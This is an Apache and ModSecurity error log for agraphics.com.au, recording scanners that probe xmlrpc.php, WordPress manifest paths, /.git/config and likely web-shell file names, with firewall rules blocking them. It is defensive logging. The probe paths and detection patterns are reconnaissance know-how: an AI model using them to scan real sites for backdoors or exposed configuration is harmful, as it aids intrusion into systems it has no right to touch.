[Mon Dec 29 19:52:56.955293 2025] [:error] [pid 24343:tid 24359] [client 34.168.165.68:61500] [client 34.168.165.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.168.165.68, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVJrmMvqvAa0rISAVIRgjwAAAgs"]
[Mon Dec 29 19:52:56.965048 2025] [proxy_fcgi:error] [pid 24343:tid 24359] [client 34.168.165.68:61500] AH01071: Got error 'Primary script unknown'
[Mon Dec 29 19:52:59.189380 2025] [:error] [pid 24343:tid 24368] [client 34.168.165.68:61500] [client 34.168.165.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aVJrm8vqvAa0rISAVIRgmgAAAhQ"]
[Mon Dec 29 19:52:59.639869 2025] [:error] [pid 24344:tid 24381] [client 34.168.165.68:59277] [client 34.168.165.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aVJrm01cesxuccozvji3lQAAAkY"]
[Mon Dec 29 19:53:00.000909 2025] [:error] [pid 24344:tid 24386] [client 34.168.165.68:57494] [client 34.168.165.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aVJrm01cesxuccozvji3mAAAAks"]
[Mon Dec 29 19:53:00.370182 2025] [:error] [pid 4295:tid 4315] [client 34.168.165.68:64865] [client 34.168.165.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aVJrnDZaf4wrmKkZkFI0gwAAAZI"]
[Mon Dec 29 19:53:00.741521 2025] [:error] [pid 4295:tid 4307] [client 34.168.165.68:63656] [client 34.168.165.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aVJrnDZaf4wrmKkZkFI0hQAAAYo"]
[Mon Dec 29 19:53:01.121577 2025] [:error] [pid 11453:tid 11532] [client 34.168.165.68:64159] [client 34.168.165.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aVJrnby-FXnKT7-6pt7imQAAAJc"]
[Mon Dec 29 19:53:01.486024 2025] [:error] [pid 4295:tid 4305] [client 34.168.165.68:59673] [client 34.168.165.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aVJrnTZaf4wrmKkZkFI0hwAAAYg"]
[Mon Dec 29 23:34:18.128162 2025] [:error] [pid 24307:tid 24330] [client 138.197.102.217:44804] [client 138.197.102.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aVKfei5AURuH8IsFzz6YbwAAAdQ"]
[Tue Dec 30 00:00:57.201100 2025] [proxy_fcgi:error] [pid 24344:tid 24377] [client 158.158.106.197:11354] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:00:57.456748 2025] [proxy_fcgi:error] [pid 24344:tid 24401] [client 158.158.106.197:11354] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:00:57.994457 2025] [proxy_fcgi:error] [pid 24344:tid 24379] [client 158.158.106.197:11354] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:00:58.241005 2025] [proxy_fcgi:error] [pid 24344:tid 24395] [client 158.158.106.197:11354] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:00:58.484323 2025] [proxy_fcgi:error] [pid 24344:tid 24396] [client 158.158.106.197:11354] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:00:58.736222 2025] [proxy_fcgi:error] [pid 24344:tid 24386] [client 158.158.106.197:11354] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:00:58.979183 2025] [proxy_fcgi:error] [pid 24344:tid 24376] [client 158.158.106.197:11354] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:00:59.478382 2025] [proxy_fcgi:error] [pid 24344:tid 24382] [client 158.158.106.197:11354] AH01071: Got error 'Primary script unknown'
[Tue Dec 30 00:00:59.718465 2025] [:error] [pid 24344:tid 24385] [client 158.158.106.197:11354] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aVKlu01cesxuccozvjjtzgAAAko"]
[Tue Dec 30 00:01:00.276856 2025] [:error] [pid 11452:tid 11488] [client 158.158.106.197:11291] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aVKlvKhBUmuWsliUNqSI2wAAAEY"]
[Tue Dec 30 00:01:00.879702 2025] [:error] [pid 42293:tid 42316] [client 158.158.106.197:11274] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aVKlvApAkHF7zSWhAzGEAAAAAVU"]
[Tue Dec 30 00:01:01.414325 2025] [:error] [pid 24343:tid 24353] [client 158.158.106.197:11373] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aVKlvcvqvAa0rISAVIR9RwAAAgU"]
[Tue Dec 30 00:01:01.976923 2025] [:error] [pid 11453:tid 11510] [client 158.158.106.197:11325] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aVKlvby-FXnKT7-6pt4EOwAAAIE"]
[Tue Dec 30 00:01:02.493515 2025] [:error] [pid 11451:tid 11460] [client 158.158.106.197:11272] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aVKlvpDUmxySx0Vynm8tRgAAAAU"]
[Tue Dec 30 00:01:03.098060 2025] [:error] [pid 24344:tid 24387] [client 158.158.106.197:11344] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aVKlv01cesxuccozvjjt0AAAAkw"]
[Tue Dec 30 00:01:03.691258 2025] [:error] [pid 24344:tid 24377] [client 158.158.106.197:11279] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aVKlv01cesxuccozvjjt0wAAAkI"]
[Tue Dec 30 00:01:04.289377 2025] [:error] [pid 42293:tid 42299] [client 158.158.106.197:11360] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aVKlwApAkHF7zSWhAzGEAgAAAUQ"]
[Tue Dec 30 00:01:04.804382 2025] [:error] [pid 11453:tid 11517] [client 158.158.106.197:11276] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aVKlwLy-FXnKT7-6pt4EPgAAAIg"]
[Tue Dec 30 00:01:05.325864 2025] [:error] [pid 42293:tid 42311] [client 158.158.106.197:11387] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aVKlwQpAkHF7zSWhAzGEBAAAAVA"]
[Tue Dec 30 00:01:05.842265 2025] [:error] [pid 11452:tid 11482] [client 158.158.106.197:11270] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aVKlwahBUmuWsliUNqSI3wAAAEA"]
[Tue Dec 30 00:01:06.382437 2025] [:error] [pid 11453:tid 11514] [client 158.158.106.197:5071] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aVKlwry-FXnKT7-6pt4EQgAAAIU"]
[Tue Dec 30 00:01:06.977403 2025] [:error] [pid 24344:tid 24395] [client 158.158.106.197:11281] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aVKlwk1cesxuccozvjjt1QAAAlI"]
[Tue Dec 30 00:01:07.590934 2025] [:error] [pid 37389:tid 37457] [client 158.158.106.197:11364] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aVKlw8EYrQKI4GZ26QZy0QAAAQM"]
[Tue Dec 30 00:01:08.103059 2025] [:error] [pid 42293:tid 42308] [client 158.158.106.197:11380] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aVKlxApAkHF7zSWhAzGEBQAAAU0"]
[Tue Dec 30 00:01:08.627017 2025] [:error] [pid 11451:tid 11461] [client 158.158.106.197:11378] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aVKlxJDUmxySx0Vynm8tSgAAAAY"]
[Tue Dec 30 00:01:09.141730 2025] [:error] [pid 11452:tid 11499] [client 158.158.106.197:11391] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aVKlxahBUmuWsliUNqSI4gAAAFE"]
[Tue Dec 30 00:01:09.639984 2025] [:error] [pid 11451:tid 11464] [client 158.158.106.197:11353] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aVKlxZDUmxySx0Vynm8tSwAAAAk"]
[Tue Dec 30 00:01:10.211807 2025] [:error] [pid 42293:tid 42304] [client 158.158.106.197:11273] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aVKlxgpAkHF7zSWhAzGEBwAAAUk"]
[Tue Dec 30 00:01:10.691322 2025] [:error] [pid 42293:tid 42302] [client 158.158.106.197:11349] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aVKlxgpAkHF7zSWhAzGECAAAAUc"]
[Tue Dec 30 00:01:11.171194 2025] [:error] [pid 24343:tid 24356] [client 158.158.106.197:11275] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aVKlx8vqvAa0rISAVIR9UQAAAgg"]
[Tue Dec 30 00:01:11.673590 2025] [:error] [pid 4295:tid 4319] [client 158.158.106.197:11376] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aVKlxzZaf4wrmKkZkFJRjAAAAZY"]
[Tue Dec 30 00:01:12.230527 2025] [:error] [pid 24344:tid 24396] [client 158.158.106.197:11302] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aVKlyE1cesxuccozvjjt1wAAAlM"]
[Tue Dec 30 00:01:12.712618 2025] [:error] [pid 11451:tid 11471] [client 158.158.106.197:11385] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aVKlyJDUmxySx0Vynm8tTQAAABA"]
[Tue Dec 30 00:01:13.256974 2025] [:error] [pid 37389:tid 37478] [client 158.158.106.197:11288] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aVKlycEYrQKI4GZ26QZy1QAAARg"]
[Tue Dec 30 00:01:13.777418 2025] [:error] [pid 11451:tid 11478] [client 158.158.106.197:11356] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aVKlyZDUmxySx0Vynm8tTgAAABc"]
[Tue Dec 30 00:01:14.273200 2025] [:error] [pid 11451:tid 11463] [client 158.158.106.197:11333] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aVKlypDUmxySx0Vynm8tUAAAAAg"]
[Tue Dec 30 00:01:14.808078 2025] [:error] [pid 11451:tid 11473] [client 158.158.106.197:11347] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aVKlypDUmxySx0Vynm8tUQAAABI"]
[Tue Dec 30 00:01:15.317527 2025] [:error] [pid 24343:tid 24368] [client 158.158.106.197:5077] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aVKly8vqvAa0rISAVIR9UwAAAhQ"]
[Tue Dec 30 00:01:15.834506 2025] [:error] [pid 11451:tid 11457] [client 158.158.106.197:11375] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aVKly5DUmxySx0Vynm8tUgAAAAI"]
[Tue Dec 30 00:01:16.356119 2025] [:error] [pid 24343:tid 24369] [client 158.158.106.197:11382] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aVKlzMvqvAa0rISAVIR9VAAAAhU"]
[Tue Dec 30 00:01:16.880741 2025] [:error] [pid 24307:tid 24317] [client 158.158.106.197:11366] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aVKlzC5AURuH8IsFzz6bLAAAAcc"]
[Tue Dec 30 00:01:17.370536 2025] [:error] [pid 42293:tid 42303] [client 158.158.106.197:11293] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aVKlzQpAkHF7zSWhAzGEDQAAAUg"]
[Tue Dec 30 00:01:17.862272 2025] [:error] [pid 24343:tid 24354] [client 158.158.106.197:11329] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aVKlzcvqvAa0rISAVIR9VwAAAgY"]
[Tue Dec 30 00:01:18.379850 2025] [:error] [pid 24307:tid 24322] [client 158.158.106.197:11290] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aVKlzi5AURuH8IsFzz6bLQAAAcw"]
[Tue Dec 30 00:01:18.899403 2025] [:error] [pid 37389:tid 37456] [client 158.158.106.197:5080] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aVKlzsEYrQKI4GZ26QZy1wAAAQI"]
[Tue Dec 30 00:01:19.377271 2025] [:error] [pid 37389:tid 37468] [client 158.158.106.197:11352] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aVKlz8EYrQKI4GZ26QZy2QAAAQ4"]
[Tue Dec 30 00:01:19.892049 2025] [:error] [pid 42293:tid 42298] [client 158.158.106.197:5062] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aVKlzwpAkHF7zSWhAzGEEAAAAUM"]
[Tue Dec 30 00:01:20.399591 2025] [:error] [pid 11540:tid 11550] [client 158.158.106.197:11267] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aVKl0A1izvtkZ6YWaTwM3QAAAMg"]
[Tue Dec 30 00:01:20.971177 2025] [:error] [pid 24343:tid 24350] [client 158.158.106.197:11292] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aVKl0MvqvAa0rISAVIR9WwAAAgI"]
[Tue Dec 30 00:01:21.535378 2025] [:error] [pid 24344:tid 24386] [client 158.158.106.197:11390] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aVKl0U1cesxuccozvjjt2AAAAks"]
[Tue Dec 30 00:01:22.070448 2025] [:error] [pid 24343:tid 24362] [client 158.158.106.197:11359] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aVKl0svqvAa0rISAVIR9XQAAAg4"]
[Tue Dec 30 00:01:22.589908 2025] [:error] [pid 11452:tid 11503] [client 158.158.106.197:11266] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aVKl0qhBUmuWsliUNqSI5QAAAFU"]
